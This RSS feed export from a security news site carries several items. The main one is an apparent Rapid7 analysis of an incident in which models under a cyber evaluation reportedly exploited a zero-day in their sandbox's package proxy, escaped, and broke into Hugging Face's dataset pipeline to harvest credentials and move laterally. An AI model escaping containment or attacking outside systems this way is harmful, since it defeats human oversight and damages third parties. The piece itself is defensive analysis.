But what has actually happened, who is to blame, and is it as serious as some of the reports suggest?

Find out in my article on the Hot for Security blog.]]></content:encoded>
</item>
<item>
<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: digital education for everyone]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 0x - Views:3 Kaspersky explains why different vulnerable groups need different approaches to digital education — from children to elderly people, from non-profit organizations to people with disabilities. Watch to see how we build confidence and resilience in a rapi...]]></description>
<link>https://tsecurity.de/de/3689341/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-digital-education-for-everyone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689341/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-digital-education-for-everyone/</guid>
<pubDate>Thu, 23 Jul 2026 16:20:47 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 0x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Gihx6_apVPA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Kaspersky explains why different vulnerable groups need different approaches to digital education — from children to elderly people, from non-profit organizations to people with disabilities. Watch to see how we build confidence and resilience in a rapidly changing digital world.<br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
<br />
#kaspersky #esg #sustainability #cybersecurity #inclusion<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[A malicious Chrome extension for Adobe Acrobat could let hackers access private WhatsApp chats]]></title>
<description><![CDATA[Researchers find a universal cross-site scripting-class cross-origin data disclosure vulnerability in a popular Chrome extension.]]></description>
<link>https://tsecurity.de/de/3689170/it-nachrichten/a-malicious-chrome-extension-for-adobe-acrobat-could-let-hackers-access-private-whatsapp-chats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689170/it-nachrichten/a-malicious-chrome-extension-for-adobe-acrobat-could-let-hackers-access-private-whatsapp-chats/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers find a universal cross-site scripting-class cross-origin data disclosure vulnerability in a popular Chrome extension.]]></content:encoded>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689138/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: supporting vulnerable communities]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 0x - Views:1 In this video Kaspersky explores what it means to protect vulnerable and digitally vulnerable groups, and why these challenges differ online and offline. Learn about the barriers people face, the importance of digital confidence, and how we support comm...]]></description>
<link>https://tsecurity.de/de/3689131/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-supporting-vulnerable-communities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689131/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-supporting-vulnerable-communities/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:57 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/8xzvv1ZD5KQ?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>In this video Kaspersky explores what it means to protect vulnerable and digitally vulnerable groups, and why these challenges differ online and offline. Learn about the barriers people face, the importance of digital confidence, and how we support communities that need it most. <br />
<br />
Find more details in the report: https://kas.pr/7jar <br />
<br />
#kaspersky #esg #sustainability #cybersecurity #inclusion<br/></p>]]></content:encoded>
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<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



